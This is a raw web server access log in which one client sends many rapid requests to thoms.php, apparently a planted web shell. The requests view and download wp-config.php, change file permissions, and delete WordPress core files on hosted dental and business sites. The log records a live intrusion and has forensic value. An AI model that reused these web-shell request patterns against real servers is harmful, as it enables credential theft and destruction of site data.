45.135.193.11 - - [11/Sep/2026:22:39:04 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-admin&p= HTTP/1.1" 200 11814 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Fwp-admin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:04 -0400] "GET /bioway88.com.tw/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:04 -0400] "GET /thoms.php?chmod=wp-content&p=bioway88.com.tw HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?chmod=wp-content&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:04 -0400] "GET /thoms.php?p=bioway88.com.tw&view=locoy.php HTTP/1.1" 200 12966 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw&view=locoy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:04 -0400] "GET /thoms.php?chmod=wp-settings.php&p=bioway88.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?chmod=wp-settings.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:04 -0400] "GET /thoms.php?chmod=wp-content&p=beauty-dental.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?chmod=wp-content&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:04 -0400] "GET /thoms.php?del=wp-includes&p=beauty-dental.com.tw HTTP/1.1" 200 17382 "http://163.245.207.76:443/thoms.php?del=wp-includes&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:04 -0400] "GET /thoms.php?chmod=thoms.php&p=beauty-dental.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?chmod=thoms.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:04 -0400] "GET /thoms.php?chmod=.htaccess&p=beauty-dental.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:04 -0400] "GET /thoms.php?del=license.txt&p=beauty-dental.com.tw HTTP/1.1" 200 17380 "http://163.245.207.76:443/thoms.php?del=license.txt&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:04 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=beauty-dental.com.tw HTTP/1.1" 200 17382 "http://163.245.207.76:443/thoms.php?dl=wp-links-opml.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:05 -0400] "GET /thoms.php?chmod=release-endpoint&p=beauty-dental.com.tw HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=release-endpoint&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:04 -0400] "GET /thoms.php?dl=wp-mail.php&p=beauty-dental.com.tw HTTP/1.1" 200 17381 "http://163.245.207.76:443/thoms.php?dl=wp-mail.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:05 -0400] "GET /beauty-dental.com.tw/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:05 -0400] "GET /thoms.php?del=upgrade&p=beauty-dental.com.tw HTTP/1.1" 200 17380 "http://163.245.207.76:443/thoms.php?del=upgrade&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:05 -0400] "GET /thoms.php?del=error_log&p=beauty-dental.com.tw HTTP/1.1" 200 17381 "http://163.245.207.76:443/thoms.php?del=error_log&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:05 -0400] "GET /beauty-dental.com.tw HTTP/1.1" 301 795 "http://163.245.207.76:443/beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:05 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-cron.php HTTP/1.1" 200 14181 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw&view=wp-cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:05 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=thoms.php HTTP/1.1" 200 11823 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:05 -0400] "GET /beauty-dental.com.tw/ HTTP/1.1" 301 0 "https://163.245.207.76:443/beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:05 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-config.php&p=beauty-dental.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Fwp-config.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:05 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=beauty-dental.com.tw HTTP/1.1" 200 17378 "http://163.245.207.76:443/thoms.php?dl=wp-config-sample.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:05 -0400] "GET /beauty-dental.com.tw/ HTTP/1.1" 404 12596 "https://163.245.207.76:443/beauty-dental.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:05 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-cron.php&p=beauty-dental.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Fwp-cron.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:05 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-login.php&p=beauty-dental.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Fwp-login.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:05 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-signup.php&p=beauty-dental.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Fwp-signup.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:05 -0400] "GET /beauty-dental.com.tw/readme.html HTTP/1.1" 200 2990 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:06 -0400] "GET /thoms.php?chmod=session-migration&p=beauty-dental.com.tw HTTP/1.1" 200 11495 "http://163.245.207.76:443/thoms.php?chmod=session-migration&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:06 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=mah.php HTTP/1.1" 200 11822 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:06 -0400] "GET /thoms.php?dl=wp-config.php&p=beauty-dental.com.tw HTTP/1.1" 200 17364 "http://163.245.207.76:443/thoms.php?dl=wp-config.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:06 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-links-opml.php&p=beauty-dental.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Fwp-links-opml.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:06 -0400] "GET /thoms.php?chmod=wp-load.php&p=beauty-dental.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?chmod=wp-load.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:06 -0400] "GET /thoms.php?dl=wp-settings.php&p=beauty-dental.com.tw HTTP/1.1" 200 17380 "http://163.245.207.76:443/thoms.php?dl=wp-settings.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:06 -0400] "GET /beauty-dental.com.tw/locoy.php HTTP/1.1" 200 125 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:06 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Findex.php&p=beauty-dental.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Findex.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:06 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-mail.php&p=beauty-dental.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Fwp-mail.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:06 -0400] "GET /thoms.php?chmod=wp-settings.php&p=beauty-dental.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=wp-settings.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:06 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-content&p= HTTP/1.1" 200 11814 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Fwp-content&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:06 -0400] "GET /thoms.php?chmod=index.php&p=beauty-dental.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:06 -0400] "GET /thoms.php?del=locoy.php&p=beauty-dental.com.tw HTTP/1.1" 200 17379 "http://163.245.207.76:443/thoms.php?del=locoy.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:06 -0400] "GET /beauty-dental.com.tw/wp-links-opml.php HTTP/1.1" 200 219 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:06 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=beauty-dental.com.tw HTTP/1.1" 200 17380 "http://163.245.207.76:443/thoms.php?dl=wp-blog-header.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:06 -0400] "GET /thoms.php?dl=wp-login.php&p=beauty-dental.com.tw HTTP/1.1" 200 17380 "http://163.245.207.76:443/thoms.php?dl=wp-login.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:07 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-trackback.php HTTP/1.1" 200 14107 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw&view=wp-trackback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:07 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=beauty-dental.com.tw HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=wp-trackback.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:07 -0400] "GET /thoms.php?del=.htaccess&p=beauty-dental.com.tw HTTP/1.1" 200 17380 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:07 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Flicense.txt&p=beauty-dental.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Flicense.txt&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:07 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-activate.php&p=beauty-dental.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Fwp-activate.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:07 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=beauty-dental.com.tw HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=wp-blog-header.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:07 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=beauty-dental.com.tw HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=wp-config-sample.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:07 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-config.php HTTP/1.1" 200 13743 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw&view=wp-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:07 -0400] "GET /beauty-dental.com.tw/.well-known/ HTTP/1.1" 200 783 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:07 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-settings.php&p=beauty-dental.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Fwp-settings.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:07 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fxmlrpc.php&p=beauty-dental.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Fxmlrpc.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:07 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fsession-migration&p= HTTP/1.1" 200 11831 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Fsession-migration&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:07 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Flocoy.php&p=beauty-dental.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Flocoy.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:07 -0400] "GET /thoms.php?del=wp-admin&p=beauty-dental.com.tw HTTP/1.1" 200 17380 "http://163.245.207.76:443/thoms.php?del=wp-admin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:07 -0400] "GET /thoms.php?dl=wp-cron.php&p=beauty-dental.com.tw HTTP/1.1" 200 17380 "http://163.245.207.76:443/thoms.php?dl=wp-cron.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:07 -0400] "GET /beauty-dental.com.tw/wp-load.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:08 -0400] "GET /beauty-dental.com.tw/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:08 -0400] "GET /thoms.php?del=wp-login.php&p=beauty-dental.com.tw HTTP/1.1" 200 17379 "http://163.245.207.76:443/thoms.php?del=wp-login.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:08 -0400] "GET /thoms.php?chmod=wp-admin&p=beauty-dental.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=wp-admin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:08 -0400] "GET /thoms.php?chmod=error_log&p=beauty-dental.com.tw HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:08 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 200 14217 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:08 -0400] "GET /beauty-dental.com.tw/wp-admin/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:08 -0400] "GET /thoms.php?chmod=license.txt&p=beauty-dental.com.tw HTTP/1.1" 200 11498 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:08 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=locoy.php HTTP/1.1" 200 12972 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw&view=locoy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:08 -0400] "GET /thoms.php?chmod=readme.html&p=beauty-dental.com.tw HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=readme.html&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:08 -0400] "GET /beauty-dental.com.tw/wp-activate.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:08 -0400] "GET /thoms.php?del=wp-load.php&p=beauty-dental.com.tw HTTP/1.1" 200 17383 "http://163.245.207.76:443/thoms.php?del=wp-load.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:08 -0400] "GET /beauty-dental.com.tw/cgi-bin/ HTTP/1.1" 200 693 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:08 -0400] "GET /thoms.php?del=wp-trackback.php&p=beauty-dental.com.tw HTTP/1.1" 200 17382 "http://163.245.207.76:443/thoms.php?del=wp-trackback.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:09 -0400] "GET /thoms.php?chmod=upgrade&p=beauty-dental.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:09 -0400] "GET /thoms.php?del=wp-links-opml.php&p=beauty-dental.com.tw HTTP/1.1" 200 17381 "http://163.245.207.76:443/thoms.php?del=wp-links-opml.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:09 -0400] "GET /thoms.php?dl=wp-activate.php&p=beauty-dental.com.tw HTTP/1.1" 200 17381 "http://163.245.207.76:443/thoms.php?dl=wp-activate.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:09 -0400] "GET /beauty-dental.com.tw/wp-login.php HTTP/1.1" 404 12596 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:09 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13324 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw&view=wp-config-sample.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:09 -0400] "GET /thoms.php?del=wp-config-sample.php&p=beauty-dental.com.tw HTTP/1.1" 200 17380 "http://163.245.207.76:443/thoms.php?del=wp-config-sample.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
